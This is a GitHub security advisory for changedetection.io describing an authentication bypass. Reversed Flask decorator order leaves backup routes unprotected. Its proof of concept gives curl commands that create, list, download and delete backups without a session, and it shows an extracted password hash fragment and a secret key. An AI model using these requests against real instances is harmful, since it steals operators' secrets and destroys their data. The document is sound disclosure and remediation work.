GHSA-JMRH-XMGH-X9J4

Vulnerability from github – Published: 2026-04-06 18:00 – Updated: 2026-04-07 22:09
VLAI?
Summary
changedetection.io Vulnerable to Authentication Bypass via Decorator Ordering
Details

Summary

On 13 routes across 5 blueprint files, the @login_optionally_required decorator is placed before (outer to) @blueprint.route() instead of after it. In Flask, @route() must be the outermost decorator because it registers the function it receives. When the order is reversed, @route() registers the original undecorated function, and the auth wrapper is never in the call chain. This silently disables authentication on these routes.

The developer correctly uses the decorator on 30+ other routes with the proper order, making this a classic consistency gap.

Details

Correct order (used on 30+ routes):

@blueprint.route('/settings', methods=['GET'])
@login_optionally_required
def settings():
    ...

Incorrect order (13 vulnerable routes):

@login_optionally_required          # ← Applied to return value of @route, NOT the view
@blueprint.route('/backups/download/<filename>')  # ← Registers raw function
def download_backup(filename):
    ...

POC

=== PHASE 1: Confirm Authentication is Required ===

$ curl -s -o /dev/null -w "%{http_code}" http://127.0.0.1:5557/
Main page:     HTTP 302 -> http://127.0.0.1:5557/login?next=/
$ curl -s -o /dev/null -w "%{http_code}" http://127.0.0.1:5557/settings
Settings page: HTTP 302 (auth required, redirects to login)

Password is set. Unauthenticated requests to / and /settings
are properly redirected to /login.

=== PHASE 2: Authentication Bypass on Backup Routes ===
(All requests made WITHOUT any session cookie)

--- Exploit 1: Trigger backup creation ---
$ curl -s -o /dev/null -w "%{http_code}" http://127.0.0.1:5557/backups/request-backup
Response: HTTP 302 -> http://127.0.0.1:5557/backups/
(302 redirects to /backups/ listing page, NOT to /login -- backup was created)

--- Exploit 2: List backups page ---
$ curl -s -o /dev/null -w "%{http_code}" http://127.0.0.1:5557/backups/
Response: HTTP 200

--- Exploit 3: Extract backup filenames ---
$ curl -s http://127.0.0.1:5557/backups/ | grep changedetection-backup
Found: changedetection-backup-20260331005425.zip

--- Exploit 4: Download backup without authentication ---
$ curl -s -o /tmp/stolen_backup.zip http://127.0.0.1:5557/backups/download/changedetection-backup-20260331005425.zip
Response: HTTP 200

$ file /tmp/stolen_backup.zip
/tmp/stolen_backup.zip: Zip archive data, at least v2.0 to extract, compression method=deflate

$ ls -la /tmp/stolen_backup.zip
-rw-r--r-- 1 root root 92559 Mar 31 00:54 /tmp/stolen_backup.zip

$ unzip -l /tmp/stolen_backup.zip
Archive:  /tmp/stolen_backup.zip
  Length      Date    Time    Name
---------  ---------- -----   ----
    26496  2026-03-31 00:54   url-watches.json
       64  2026-03-31 00:52   secret.txt
       51  2026-03-31 00:52   4ff247a9-0d8e-4308-8569-f6137fa76e0d/history.txt
     1682  2026-03-31 00:52   4ff247a9-0d8e-4308-8569-f6137fa76e0d/4b7f61d9f981b92103a6659f0d79a93e.txt.br
     4395  2026-03-31 00:52   4ff247a9-0d8e-4308-8569-f6137fa76e0d/1774911131.html.br
    40877  2026-03-31 00:52   c8d85001-19d1-47a1-a8dc-f45876789215/6b3a3023b357a0ea25fc373c7e358ce2.txt.br
       51  2026-03-31 00:52   c8d85001-19d1-47a1-a8dc-f45876789215/history.txt
    40877  2026-03-31 00:52   c8d85001-19d1-47a1-a8dc-f45876789215/1774911131.html.br
       73  2026-03-31 00:54   url-list.txt
      155  2026-03-31 00:54   url-list-with-tags.txt
---------                     -------
   114721                     10 files

--- Exploit 5: Extract sensitive data from backup ---
Application password hash: pG+Bq6s4/EhsRqYZYc7kiGEG1QMd2hMuadD5qCMbSBcRIMnGTATliX/P0vFX...
Watched URLs:
  - https://news.ycombinator.com/  (UUID: 4ff247a9...)
  - https://changedetection.io/CHANGELOG.txt  (UUID: c8d85001...)

Flask secret key: 7cb14f56dc4f26761a22e7d35cc7b6911bfaa5e0790d2b58dadba9e529e5a4d6

--- Exploit 6: Delete all backups without auth ---
$ curl -s -o /dev/null -w "%{http_code}" http://127.0.0.1:5557/backups/remove-backups
Response: HTTP 302

=== PHASE 3: Cross-Verification ===

Verify protected routes still require auth:
  /         -> HTTP 302 (302 = protected)
  /settings -> HTTP 302 (302 = protected)

=== RESULTS ===

PROTECTED routes (auth required, HTTP 302 -> /login):
  /              HTTP 302
  /settings      HTTP 302

BYPASSED routes (no auth needed):
  /backups/request-backup  HTTP 302 (triggers backup creation, redirects to /backups/ not /login)
  /backups/                HTTP 200 (lists all backups)
  /backups/download/<file> HTTP 200 (downloads backup with secrets)
  /backups/remove-backups  HTTP 302 (deletes all backups)

[+] CONFIRMED: Authentication bypass on backup routes!

Impact

  • Complete data exfiltration — Backups contain all monitored URLs, notification webhook URLs (which may contain API tokens for Slack, Discord, etc.), and configuration
  • Backup restore = config injection — Attacker can upload a malicious backup with crafted watch configs
  • SSRF — Proxy check endpoint can be triggered to scan internal network
  • Browser session hijacking — Browser steps endpoints allow controlling Playwright sessions

Remediation

Swap the decorator order on all 13 routes. @blueprint.route() must be outermost:

# Before (VULNERABLE):
@login_optionally_required
@blueprint.route('/backups/download/<filename>')
def download_backup(filename):

# After (FIXED):
@blueprint.route('/backups/download/<filename>')
@login_optionally_required
def download_backup(filename):
Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.54.7"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "changedetection.io"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.54.8"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-35490"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-06T18:00:01Z",
    "nvd_published_at": "2026-04-07T16:16:27Z",
    "severity": "CRITICAL"
  },
  "details": "### Summary\n\nOn 13 routes across 5 blueprint files, the `@login_optionally_required` decorator is placed **before** (outer to) `@blueprint.route()` instead of after it. In Flask, `@route()` must be the outermost decorator because it registers the function it receives. When the order is reversed, `@route()` registers the **original undecorated function**, and the auth wrapper is never in the call chain. This silently disables authentication on these routes.\n\nThe developer correctly uses the decorator on 30+ other routes with the proper order, making this a classic consistency gap.\n\n### Details\n\n**Correct order (used on 30+ routes):**\n```python\n@blueprint.route(\u0027/settings\u0027, methods=[\u0027GET\u0027])\n@login_optionally_required\ndef settings():\n    ...\n```\n\n**Incorrect order (13 vulnerable routes):**\n```python\n@login_optionally_required          # \u2190 Applied to return value of @route, NOT the view\n@blueprint.route(\u0027/backups/download/\u003cfilename\u003e\u0027)  # \u2190 Registers raw function\ndef download_backup(filename):\n    ...\n```\n\n## POC\n```\n=== PHASE 1: Confirm Authentication is Required ===\n\n$ curl -s -o /dev/null -w \"%{http_code}\" http://127.0.0.1:5557/\nMain page:     HTTP 302 -\u003e http://127.0.0.1:5557/login?next=/\n$ curl -s -o /dev/null -w \"%{http_code}\" http://127.0.0.1:5557/settings\nSettings page: HTTP 302 (auth required, redirects to login)\n\nPassword is set. Unauthenticated requests to / and /settings\nare properly redirected to /login.\n\n=== PHASE 2: Authentication Bypass on Backup Routes ===\n(All requests made WITHOUT any session cookie)\n\n--- Exploit 1: Trigger backup creation ---\n$ curl -s -o /dev/null -w \"%{http_code}\" http://127.0.0.1:5557/backups/request-backup\nResponse: HTTP 302 -\u003e http://127.0.0.1:5557/backups/\n(302 redirects to /backups/ listing page, NOT to /login -- backup was created)\n\n--- Exploit 2: List backups page ---\n$ curl -s -o /dev/null -w \"%{http_code}\" http://127.0.0.1:5557/backups/\nResponse: HTTP 200\n\n--- Exploit 3: Extract backup filenames ---\n$ curl -s http://127.0.0.1:5557/backups/ | grep changedetection-backup\nFound: changedetection-backup-20260331005425.zip\n\n--- Exploit 4: Download backup without authentication ---\n$ curl -s -o /tmp/stolen_backup.zip http://127.0.0.1:5557/backups/download/changedetection-backup-20260331005425.zip\nResponse: HTTP 200\n\n$ file /tmp/stolen_backup.zip\n/tmp/stolen_backup.zip: Zip archive data, at least v2.0 to extract, compression method=deflate\n\n$ ls -la /tmp/stolen_backup.zip\n-rw-r--r-- 1 root root 92559 Mar 31 00:54 /tmp/stolen_backup.zip\n\n$ unzip -l /tmp/stolen_backup.zip\nArchive:  /tmp/stolen_backup.zip\n  Length      Date    Time    Name\n---------  ---------- -----   ----\n    26496  2026-03-31 00:54   url-watches.json\n       64  2026-03-31 00:52   secret.txt\n       51  2026-03-31 00:52   4ff247a9-0d8e-4308-8569-f6137fa76e0d/history.txt\n     1682  2026-03-31 00:52   4ff247a9-0d8e-4308-8569-f6137fa76e0d/4b7f61d9f981b92103a6659f0d79a93e.txt.br\n     4395  2026-03-31 00:52   4ff247a9-0d8e-4308-8569-f6137fa76e0d/1774911131.html.br\n    40877  2026-03-31 00:52   c8d85001-19d1-47a1-a8dc-f45876789215/6b3a3023b357a0ea25fc373c7e358ce2.txt.br\n       51  2026-03-31 00:52   c8d85001-19d1-47a1-a8dc-f45876789215/history.txt\n    40877  2026-03-31 00:52   c8d85001-19d1-47a1-a8dc-f45876789215/1774911131.html.br\n       73  2026-03-31 00:54   url-list.txt\n      155  2026-03-31 00:54   url-list-with-tags.txt\n---------                     -------\n   114721                     10 files\n\n--- Exploit 5: Extract sensitive data from backup ---\nApplication password hash: pG+Bq6s4/EhsRqYZYc7kiGEG1QMd2hMuadD5qCMbSBcRIMnGTATliX/P0vFX...\nWatched URLs:\n  - https://news.ycombinator.com/  (UUID: 4ff247a9...)\n  - https://changedetection.io/CHANGELOG.txt  (UUID: c8d85001...)\n\nFlask secret key: 7cb14f56dc4f26761a22e7d35cc7b6911bfaa5e0790d2b58dadba9e529e5a4d6\n\n--- Exploit 6: Delete all backups without auth ---\n$ curl -s -o /dev/null -w \"%{http_code}\" http://127.0.0.1:5557/backups/remove-backups\nResponse: HTTP 302\n\n=== PHASE 3: Cross-Verification ===\n\nVerify protected routes still require auth:\n  /         -\u003e HTTP 302 (302 = protected)\n  /settings -\u003e HTTP 302 (302 = protected)\n\n=== RESULTS ===\n\nPROTECTED routes (auth required, HTTP 302 -\u003e /login):\n  /              HTTP 302\n  /settings      HTTP 302\n\nBYPASSED routes (no auth needed):\n  /backups/request-backup  HTTP 302 (triggers backup creation, redirects to /backups/ not /login)\n  /backups/                HTTP 200 (lists all backups)\n  /backups/download/\u003cfile\u003e HTTP 200 (downloads backup with secrets)\n  /backups/remove-backups  HTTP 302 (deletes all backups)\n\n[+] CONFIRMED: Authentication bypass on backup routes!\n```\n\n### Impact\n\n- **Complete data exfiltration** \u2014 Backups contain all monitored URLs, notification webhook URLs (which may contain API tokens for Slack, Discord, etc.), and configuration\n- **Backup restore = config injection** \u2014 Attacker can upload a malicious backup with crafted watch configs\n- **SSRF** \u2014 Proxy check endpoint can be triggered to scan internal network\n- **Browser session hijacking** \u2014 Browser steps endpoints allow controlling Playwright sessions\n\n### Remediation\n\nSwap the decorator order on all 13 routes. `@blueprint.route()` must be outermost:\n\n```python\n# Before (VULNERABLE):\n@login_optionally_required\n@blueprint.route(\u0027/backups/download/\u003cfilename\u003e\u0027)\ndef download_backup(filename):\n\n# After (FIXED):\n@blueprint.route(\u0027/backups/download/\u003cfilename\u003e\u0027)\n@login_optionally_required\ndef download_backup(filename):\n```",
  "id": "GHSA-jmrh-xmgh-x9j4",
  "modified": "2026-04-07T22:09:19Z",
  "published": "2026-04-06T18:00:01Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/dgtlmoon/changedetection.io/security/advisories/GHSA-jmrh-xmgh-x9j4"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-35490"
    },
    {
      "type": "WEB",
      "url": "https://github.com/dgtlmoon/changedetection.io/commit/31a760c2147e3e73a403baf6d7de34dc50429c85"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/dgtlmoon/changedetection.io"
    },
    {
      "type": "WEB",
      "url": "https://github.com/dgtlmoon/changedetection.io/releases/tag/0.54.8"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "changedetection.io Vulnerable to Authentication Bypass via Decorator Ordering"
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Sightings

Author Source Type Date

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.


Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…